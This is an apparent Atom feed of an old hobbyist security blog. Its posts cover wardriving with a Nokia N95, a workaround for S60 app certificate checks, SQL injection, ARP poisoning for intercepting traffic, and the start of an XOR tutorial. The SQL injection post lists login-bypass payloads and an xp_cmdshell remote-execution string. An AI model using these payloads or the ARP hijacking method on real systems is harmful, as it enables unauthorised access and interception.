src="http://www.simplehelp.net/images/wardrive/wardrive_005.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;6. As you can see, Barbelo has already found a network. The row of X’s below the network name corresponds to the signal strength. That’s great but we want to make sure we log this information. By default Barbelo doesn’t log anything. You must specifically select &lt;strong&gt;Options&lt;/strong&gt; -&gt; &lt;strong&gt;Start Log&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_006.jpg" /&gt; &lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_007.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;7. In the main Barbelo screen, you can use the &lt;strong&gt;Left&lt;/strong&gt; and &lt;strong&gt;Right&lt;/strong&gt; toggles to move between &lt;strong&gt;Scan&lt;/strong&gt;, &lt;strong&gt;Map&lt;/strong&gt;, and &lt;strong&gt;Debug&lt;/strong&gt; screens.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_008.jpg" border="1" /&gt; &lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_009.jpg" border="1" /&gt;&lt;br /&gt;&lt;br /&gt;8. I’m hoping the Barbelo developer(s) might be intending to include a way to upload maps of your area in a future release as a map with nothing but a white background isn’t much of a map. At least it does show you where networks are in relation to each other and your current position. &lt;p&gt;If you go back to the &lt;strong&gt;Scan&lt;/strong&gt; screen, you can scroll through the detected networks and press the &lt;strong&gt;Center&lt;/strong&gt; toggle to see more information about that particular network&lt;br /&gt;&lt;/p&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_010.jpg" /&gt; &lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_011.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_012.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;9. Also of interest, if you leave Barbelo running in the background and switch back to GPSd, you can see that GPSd has now detected the fact that Barbelo is running, as indicated by the &lt;strong&gt;1&lt;/strong&gt; under &lt;strong&gt;Clients&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_013.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;10. Next, I went for a short drive to gather some data. When you’re finished gathering data, stop Barbelo from logging by selecting &lt;strong&gt;Options&lt;/strong&gt; -&gt; &lt;strong&gt;Stop Log&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_014.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;11. You can now stop Barbelo by selecting &lt;strong&gt;Options&lt;/strong&gt; -&gt; &lt;strong&gt;Exit&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_015.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;12. Don’t forget to stop GPSd as well. Switch back to GPSd and close it using the &lt;strong&gt;Right Soft Key&lt;/strong&gt; to exit.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_016.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;13. Ok, now that we’ve gathered some data, let’s do something interesting with it. Barbelo stores its logs in your phones mass memory at &lt;span style="font-weight: bold; font-style: italic;"&gt;E:\barbelo\logs&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_017.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;14. &lt;/span&gt;Transfer the logs to your computer via Bluetooth or USB data cable.  Luckily Barbelo saves its logs in the same XML format as &lt;a href="http://www.kismetwireless.net/"&gt;Kismet&lt;/a&gt; so we can, for example, convert this data into a format suitable for Google Earth. I found a handy perl script called &lt;a href="http://code.google.com/p/kisgearth/"&gt;kisgearth&lt;/a&gt; that does the job for us. If you don’t have access to a Linux box, don’t worry. perl is also available for Windows. Watch for my future tutorial about running perl on Windows. Converting the Barbelo log was as easy as running: ./kisgearth.pl -oN Barbelo-Oct-20-2008-1.kml -n1 — Barbelo-Oct-20-2008-1.xml kisgearth has a large number of options and filters.  For a list, simply run kisgearth.pl without any parameters. &lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;15. &lt;/span&gt;The output file from the above command is a Google Earth&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt; kml file.  Open Google Earth and choose &lt;strong&gt;File&lt;/strong&gt; -&gt; &lt;strong&gt;Open&lt;/strong&gt;, then browse to your recently converted kml file and open it.  Here’s what it looked like for me:&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_018a.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;16. &lt;/span&gt;&lt;/span&gt;Once you have your wardriving data saved in a standard format, the possibilities of what you can do with it are virtually endless. I’ve included a copy of my &lt;a href="http://www.simplehelp.net/images/wardrive/Barbelo-Oct-20-2008-1.xml"&gt;Barbelo Log&lt;/a&gt; file&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt; if you would like something to play with.  If you discover something interesting, please let me know in the comments below. &lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-525520943996468959?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/525520943996468959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=525520943996468959' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/525520943996468959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/525520943996468959'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2009/02/wardriving-with-nokia-n95.html' title='WarDriving with the Nokia N95'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-1979100432325683246</id><published>2009-02-17T11:51:00.002+05:30</published><updated>2009-02-17T14:52:10.786+05:30</updated><title type='text'>Hacking Certificate Check in S60 3rd Edition Apps</title><content type='html'>I got a brand new Nokia N95 Classic 2 days back. I read many articles about its features over blogs and auction sites and was amazed to know that my N95 has an in-build 3D Accelerometer (Motion Sensor) which make it feel like the iPhone. I digged into symbian forums to get some cools apps that exploit this feature. Fortunately i got many such apps along with their sexy promo videos. But the challenge was there in installing them. Every time I pushed any of the app I got a &lt;span style="font-style: italic;"&gt;"Certificate Error" or "Untrusted Supplier"&lt;/span&gt; kinda error. I researched a lot about this issue which I later got to know is indeed a major issue as lots of How-Tos are there on it. But the one that really works and is the most easiest is what I'am going to discuss here.&lt;br /&gt;&lt;br /&gt;If you have such an issue, I'm sure this post will be a great help to you. I have fully tested it on my Nokia N95. Ok, now business. To install the apps avoiding the error you need to sign the .SIS installation files with a valid certificate.&lt;br /&gt;&lt;br /&gt;So, what you need:&lt;br /&gt;&lt;br /&gt;- &lt;span style="font-weight: bold;"&gt;Certificate, .CER File&lt;/span&gt;: You need to get a .CER file (certificate file) which is unique for every IMEI. This is usually done by developers who wish to test their apps on the target platform before a public beta release. You can get the .CER file &lt;a href="http://andy.ehandysoft.com/devcert.php"&gt;here&lt;/a&gt;. Submit your IMEI (Press *#06# from your phone keymat to get it) there and wait for 12 hours. After 12hrs visit the site again and re-submit your IMEI there. You will now get a button saying "Download" Then copy the .CER file to any directory in your phone (say, memory card). Yippie! we are half done.&lt;br /&gt;&lt;br /&gt;- &lt;span style="font-weight: bold;"&gt;S603rd App Signer&lt;/span&gt;: You will require a tool to sign the .SIS apps that you wish to install with the .CER file you received in previous step. There are many available tools for this. But I recommend you to get &lt;a href="http://andy.ehandysoft.com/signsis.zip"&gt;this&lt;/a&gt;.  Install this app to your phone. And open it up your Applications &gt; S603rdSigner. Then goto Settings in the app's menu and put the path to the .CER file. Done!&lt;br /&gt;&lt;br /&gt;Everything ready. Now you can transfer unsigned .SIS files to your phone and SIGN them with the tool you just installed. By default the app saves the newly signed .SISX file in the source directory. All you have to do is to launch the .SISX file to start the installation. You can do it by using a file system browser &lt;span style="font-style: italic;"&gt;"Xplore by LCG"&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;But remember that the SIGNed files are valid for &lt;span style="font-weight: bold;"&gt;YOUR&lt;/span&gt; mobile only. You need to UNSIGN them first to share it with your peers and  they have to re-SIGN them again using the same steps said.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-1979100432325683246?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/1979100432325683246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=1979100432325683246' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/1979100432325683246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/1979100432325683246'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2009/02/hacking-certificate-check-in-s60-3rd.html' title='Hacking Certificate Check in S60 3rd Edition Apps'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-828403770777949575</id><published>2008-08-11T13:54:00.000+05:30</published><updated>2008-08-11T14:46:55.655+05:30</updated><title type='text'>Demistifying SQL Injection</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: verdana;"&gt;With improved performance of database servers most of the web applications use (RDBMS(Relational Database Management Systems). And the web applications allow its valid users to either store/edit/view the data stored in RDBMS through the interface coded by the application programmers. Traditionally programmers have been trained in terms of writing code to implement the intended functionality but they are not aware of the security aspects in many ways. Thus now we have insecure interface to the most valuable data stored in RDBMS because of the vulnerability in the web application called SQL Injection. Attackers use exposure due to SQL injection vulnerability to interact with RDBMS servers in SQL (Structured Query Language). In other words it means that attackers are able to send SQL statements to RDBMS, which it executes and returns the results back to the attacker. The risk of such attacks on commercial application increases if the web application is delivered along with the source code or if it is an open-source application. Since the attacker can find potential vulnerable statements before they launch the attack.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold; font-family: verdana;font-size:85%;" &gt;What is SQL injection?&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Normally web applications provide interface to the user to input the information. These user inputs are further used for many purposes one of which is to query the databases. The user input as part of SQL statements gets executed on the RDBMS. SQL injection is trying to input such data through the web applications user interface that would give malicious user the sensitive information, edit/modify the protected data or crash the entire system etc. In the worst-case scenarios the malicious user is able to even penetrate further into the network by compromising the security of the database host machine.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold; font-family: verdana;font-size:85%;" &gt;Four main categories of SQL Injection attacks&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;1. SQL Manipulation: manipulation is process of modifying the SQL statements by using various operations such as UNION .Another way for implementing SQL Injection using SQL Manipulation method is by changing the where clause of the SQL statement to get different results.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;2. Code Injection: Code injection is process of inserting new SQL statements or database commands into the vulnerable SQL statement. One of the code injection attacks is to append a SQL Server EXECUTE command to the vulnerable SQL statement. This type of attack is only possible when multiple SQL statements per database request are supported.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;3. Function Call Injection: Function call injection is process of inserting various database function calls into a vulnerable SQL statement. These function calls could be making operating system calls or manipulate data in the database.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;4. Buffer Overflows: Buffer overflow is caused by using function call injection. For most of the commercial and open source databases, patches are available. This type of attack is possible when the server is un-patched&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold; font-family: verdana;font-size:85%;" &gt;How to find if the application is vulnerable or not?&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;As mentioned before web applications commonly use RDBMS to store the information. The information in RDBMS is stored/retrieved with the help of SQL statements. Common mistake made by developers is to use, user supplied information in the Where clause of the SQL statement while retrieving the information. Thus by modifying the Where clause by additional conditions to the Where clause; entire SQL statement can be modified. The successful attempt to achieve this can be verified by looking at the output generated by the DB server. Following Example of Where clause modification would explain this further.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;If the URL of a web page is:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;1. http://www.prey.com/sample.jsp?param1=9 The SQL statement the web application would use to retrieve the information from the database may look like this: SELECT column1, column2 FROM Table1 WHERE param1 = 9 After executing this query the database would return data in columns1 and column2 for the rows which satisfy the condition param1 = 9. This data is processed by the server side code like servlets etc and an HTML document is generated to display the information.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;2. To test the vulnerability of the web application, the attacker may modify the Where clause by modifying the user inputs in the URL as follows. http://www.prey.com/sample.jsp?param1=9 AND 1=1 And if the database server executes the following query: SELECT coulmn1, column2 FROM Table1 WHERE param1 = 9 AND 1=1 . If this query also returns the same information as before, then the application is susceptible to SQL injection.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Suggested Attack Vectors:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold; font-family: verdana;font-size:85%;" &gt;Login Bypass:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: verdana;font-size:85%;" &gt;' or x=x--&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: verdana;font-size:85%;" &gt;'' or x=x--&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: verdana;font-size:85%;" &gt;or x=x--&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: verdana;font-size:85%;" &gt;' or 'x'='x&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: verdana;font-size:85%;" &gt;'' or ''x''=''x&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: verdana;font-size:85%;" &gt;') or ('x'='x&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold; font-family: verdana;font-size:85%;" &gt;Remote Execution:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Using the stored procedure master ..xp_cmdshell&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;'; exec master ..xp_cmdshell 'ping xxx.xxx.xx.xx'--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold; font-family: verdana;font-size:85%;" &gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold; font-family: verdana;font-size:85%;" &gt;Your imagination is your limit for exploiting a SQL Injection.&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold; font-family: verdana;font-size:85%;" &gt;Precautions to avoid SQL Injection Attacks:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: verdana;"&gt;Always filter various input meta-characters like ' " % \ ; | / () {} or extended characters like NULL.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: verdana;"&gt;For numeric values convert it into an integer before passing it into the SQL query.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: verdana;"&gt;Always delete stored procedures which are never useful anymore like master ..Xp_cmdshell, xp_startmail, xp_makewebtask and xp_sendmail.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-828403770777949575?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/828403770777949575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=828403770777949575' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/828403770777949575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/828403770777949575'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2008/08/demistifying-sql-injection.html' title='Demistifying SQL Injection'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-295074446421196649</id><published>2008-08-11T13:40:00.000+05:30</published><updated>2008-08-11T13:52:47.134+05:30</updated><title type='text'>An Introduction to ARP Poision Routing</title><content type='html'>&lt;title&gt;APR&lt;/title&gt;&lt;link style="font-family: verdana;" href="../Styles/default.css" rel="StyleSheet"&gt;&lt;style title="hcp" type="text/css"&gt; &lt;!-- div.hcp1 { position:relative; } img.hcp2 { border:none; float:none; border-style:none; } p.hcp3 { text-align:justify; } span.hcp4 { text-align:justify; } span.hcp5 { font-style:italic; } p.hcp6 { font-style:italic; text-align:justify; } img.hcp7 { border:none; border-style:none; } p.hcp8 { text-align:justify; font-weight:normal; } --&gt; &lt;/style&gt;&lt;p style="font-family: verdana;" class="hcp3"&gt;&lt;span style="font-size:85%;"&gt;APR (ARP[Address Resolution Protocol] Poison Routing) is a main feature of the program. It  enables &lt;span class="hcp4"&gt;sniffing on switched networks and the hijacking of IP  traffic between hosts. The name "ARP Poison Routing" derives from the two steps  needed to perform such unusual network sniffing: an ARP Poison Attack and  routing packets to the correct destination.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;h5 style="font-family: verdana;"&gt;&lt;span style="font-size:85%;"&gt;ARP Poison Attack&lt;/span&gt;&lt;/h5&gt; &lt;p style="font-family: verdana;" class="hcp3"&gt;&lt;span style="font-size:85%;"&gt;This kind of attack is based on the manipulation of host's ARP  caches. On an &lt;span class="hcp4"&gt;Ethernet/IP network when two hosts want to  communicate to each other they must know each others MAC addresses. The source  host looks at its ARP table to see if there is a MAC address corresponding to  the destination host IP address. If not, it broadcasts an ARP Request to the  entire network asking the MAC of the destination host. Because this packet is  sent in broadcast it will reach every host in a subnet however only the host  with the IP address specified in the request will reply its MAC to the source  host. On the contrary if the ARP-IP entry for the destination host is already  present in the ARP cache of the source host, that entry will be used without  generating ARP traffic.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: verdana;" class="hcp3"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="hcp5"&gt;Q: Now what happens if the source host has in its  ARP cache an incorrect MAC address associated to the IP address of the  destination host ?&lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="font-family: verdana;" class="hcp3"&gt;&lt;span style="font-size:85%;"&gt;A: Simple, it will start the communication with the destination  host using the incorrect MAC address in Ethernet frames.&lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: verdana;" class="hcp6"&gt;&lt;span style="font-size:85%;"&gt;Q: And what happens if that incorrect MAC address corresponds to  the MAC address of our network sniffer ? &lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: verdana;" class="hcp3"&gt;&lt;span style="font-size:85%;"&gt;A: The traffic will reach our sniffer even if every host is  connected to a network switch forwarding frames on port basis.&lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: verdana;" class="hcp6"&gt;&lt;span style="font-size:85%;"&gt;Q: How can someone change the addresses contained in host's ARP  caches ? &lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: verdana;" class="hcp3"&gt;&lt;span style="font-size:85%;"&gt;A: The Address Resolution Protocol (ARP) is a stateless protocol  that does not require authentication so a simple ARP Reply packet sent to an  host can force an update in its ARP cache.&lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: verdana;" class="hcp6"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="hcp5"&gt;Q: Can I use this kind of attack on the Internet  ? &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: verdana;" class="hcp3"&gt;&lt;span style="font-size:85%;"&gt;A: No. ARP protocol does not cross routers or VLANs so ARP Poison  attacks are useless outside Level2 "Broadcast Domains". &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: verdana;" class="hcp3"&gt;&lt;span style="font-size:85%;"&gt; Manipulating ARP caches of two hosts, it is possible to change the  normal &lt;span class="hcp4"&gt;direction of traffic between them. This kind of traffic  hijacking is the result of an ARP Poison attack and also a prerequisite to  achieve a "Man-in-the-Middle" condition between victim hosts. The term  Main-in-the-Middle refers to the fact that the traffic between hosts follows an  obligated path through something before reaching the desired  destination.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;h5 style="font-family: verdana;"&gt;&lt;span style="font-size:85%;"&gt;Re-Routing Packets &lt;/span&gt;&lt;/h5&gt; &lt;p style="font-family: verdana;" class="hcp3"&gt;&lt;span style="font-size:85%;"&gt;Now suppose that you successfully setup an ARP Poison attack  between two hosts to intercept their network traffic. To do so you had specified  the sniffer MAC address in ARP Poison packets and now you are forcing the two  hosts to communicate through your computer. &lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: verdana;" class="hcp3"&gt;&lt;span style="font-size:85%;"&gt;In this situation the sniffer receives packets that are directed  to its MAC address but not to its IP address so the protocol stack discards  these packets causing a Denial of Service between the hosts. To avoid such  problems the sniffer must be able to re-route poisoned packets to the correct  destination. (You can't capture any password if hosts cannot communicate)&lt;/span&gt;&lt;/p&gt; &lt;h5 style="font-family: verdana;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="Normal-bold"&gt;Prerequisites&lt;/span&gt;&lt;/span&gt;&lt;/h5&gt; &lt;p style="font-family: verdana;" class="hcp3"&gt;&lt;span style="font-size:85%;"&gt;In order to re-route poisoned packets to the correct destination,  the program must know each IP-MAC association of victim hosts. This is why the  user is asked to scan for MAC addresses&lt;a href="MAC_Scanner.htm"&gt;&lt;/a&gt; first.&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-295074446421196649?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/295074446421196649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=295074446421196649' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/295074446421196649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/295074446421196649'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2008/08/introduction-to-arp-poision-routing.html' title='An Introduction to ARP Poision Routing'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-8060142710896927083</id><published>2008-08-11T13:22:00.000+05:30</published><updated>2008-08-11T13:28:24.146+05:30</updated><title type='text'>Understanding XOR Encryption</title><content type='html'>&lt;p  align="left" style="font-family:verdana;"&gt;INTRODUCTION:&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;Hi guys, me again. In this    tutorial, I'll discuss one of the most common encryption - XOR. You won't require    any particular tools for this stuff.&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;HERE IT IS:&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;XOR is the acronym for "eXclusive    OR". It is a bitwise operator, i.e a operator which manipulates data at    the bit level. You may be familiar with other bitwise operators like AND and    OR. I'll revise the functioning of those for your reference.&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;AND:&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;It is a binary operator which    evaluates to true only if both the operand bits are true. I can see you sweating.    relax! All that crap means is &lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;1 AND 1 = 1.&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;If one of the operand bit    is false, i.e. zero, the result evaluates to false. Therefore,&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;1 AND 0 = 0&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;0 AND 1 = 0&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;Now, 54 AND 105 evaluates    to 32 in a scientific calculator. How this happens is:&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;54 , written in binary is    00110110&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;105, written in binary is    01101001&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;AND operator is called for    each and every corresponding bits. Thus the resultant is:&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;00100000 which corresponds    to 32 in decimal. In C / C++ it is represented by '&amp;amp;'.&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;OR&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;It is a binary operator which    evaluates to false only if both the operands are false. it means&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;0 OR 0 = 0&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;Rest all possible combinations    evaluates to true or 1. In C / C++ it is represented by '|'.&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;XOR&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;It is a binary operator which    evaluates to true if both the operand bits are dissimilar. It evaluates to false    if both the operand bits are similar. Hence,&lt;/span&gt;&lt;/p&gt; &lt;p  align="left" style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;1 XOR 1 = 